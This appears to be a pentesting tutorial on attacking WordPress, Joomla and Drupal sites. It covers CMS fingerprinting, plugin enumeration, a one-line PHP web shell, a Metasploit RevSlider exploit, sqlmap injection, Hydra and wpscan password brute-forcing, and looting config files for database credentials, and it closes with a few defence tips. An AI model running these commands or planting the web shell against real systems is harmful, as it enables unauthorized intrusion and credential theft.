Exploiting Content Management Systems (CMS):

Content Management Systems (CMSs) run a massive chunk of the modern web. WordPress, Joomla, Drupal, and others power everything from small blogs to enterprise intranets — and wherever people publish content, pentesters find opportunity.

In this guide, we’ll walk through what CMSs are, how to identify and enumerate them, and how to exploit common weaknesses. We’ll use practical tools and examples throughout.

What is a CMS?

A Content Management System is software that allows users to create, manage, and modify content on a website without needing to code. It handles:

Page creation
Media uploads
Plugins/extensions
User management

Popular CMSs:

WordPress
Joomla
Drupal
Typo3
Magento (for e-commerce)

Why Target CMSs?

CMSs are often:

Public-facing (ideal attack surface)
Outdated (admins forget to patch)
Bloated with plugins (which means vulnerable third-party code)
Misconfigured (exposing dangerous functionality)

In short — they’re a goldmine of attack vectors, from file uploads and XSS to full remote code execution.

Step 1: CMS Detection & Enumeration

Start by identifying which CMS the target is using.

CMS Identification Tools

WhatWeb whatweb http://target.com
Wappalyzer (browser extension)
BuiltWith
CMSeek – dedicated CMS scanner python3 cmseek.py

Look for:

/wp-login.php (WordPress)
/administrator/ (Joomla)
/user/login (Drupal)
CMS-specific headers or meta tags

Step 2: Plugin & Version Enumeration

Once you know the CMS, fingerprint the version and installed plugins.

WordPress:

wpscan (Kali pre-installed) wpscan --url http://target.com --enumerate vp,vt,u

Options:

vp – vulnerable plugins
vt – vulnerable themes
u – users

Joomla:

joomscan perl joomscan.pl -u http://target.com

Drupal:

droopescan droopescan scan drupal -u http://target.com

Step 3: Common Vulnerabilities & Exploits

1. File Upload Vulnerabilities

Misconfigured file upload forms allow attackers to upload web shells.

Test:

Try uploading .php, .phtml, .php5
Use intercept tools (Burp) to bypass extension filtering

Web shells:

<?php system($_GET['cmd']); ?>
Use tools like weevely, pentestmonkey/php-reverse-shell.php

2. Remote Code Execution (RCE)

RCE can come from:

Vulnerable plugins (e.g., WordPress’s RevSlider, Joomla’s com_fields)
Authenticated user upload features
Deserialization bugs

Example:

searchsploit wordpress revslider

Use Metasploit:

msfconsole
use exploit/unix/webapp/wp_revslider_upload_execute
set RHOSTS target.com
set TARGETURI /wordpress/
exploit

3. SQL Injection

Some CMS plugins poorly sanitize inputs.

Test with:

sqlmap -u "http://target.com/index.php?id=1" --batch --dbs

Watch out for:

Joomla components with ID-based parameters
Custom WordPress plugins with direct DB calls

4. Disclosure & Info Leaks

CMSs often leak sensitive info:

/readme.html, /license.txt → CMS version
/wp-config.php~ or .bak files
.git/ folder exposed

5. Admin Panel Access & Bruteforce

If login panels are exposed, try default creds or brute force:

WordPress:

wpscan --url http://target.com --passwords rockyou.txt --usernames admin

Joomla:
Use Hydra or Burp Intruder:

hydra -l admin -P rockyou.txt target.com http-post-form "/administrator/index.php:username=^USER^&passwd=^PASS^&option=com_login:Login failed"

Post-Exploitation: Once You’re In

Upload a web shell or reverse shell
Enumerate the file system
Loot CMS config files for DB creds:
- WordPress: wp-config.php
- Joomla: configuration.php
- Drupal: sites/default/settings.php
Use DB creds to pivot to MySQL or internal systems
Look for user sessions or credential reuse

Tools Roundup

Tool	Purpose
WhatWeb	CMS detection
WPScan	WordPress enumeration
CMSeek	CMS detection & scanning
SQLMap	SQLi
Hydra	Login brute-forcing
Burp Suite	Upload testing, fuzzing
SearchSploit	CVE hunting
Metasploit	RCE and shell access

Defense Tips (For Blue Teams)

Keep CMS and plugins up to date
Disable dangerous file uploads
Monitor for admin panel brute-force attempts
Limit access to /wp-admin, /administrator, etc.
Regularly scan for exposed files and directories

Final Thoughts

Exploiting CMSs is a core skill for web pentesters. From plugin bugs to file upload bypasses and full-blown RCE, CMSs give you plenty of angles. Always enumerate deeply, exploit carefully, and clean up when you’re done.

“CMSs make it easy to build websites — and sometimes even easier to break them.”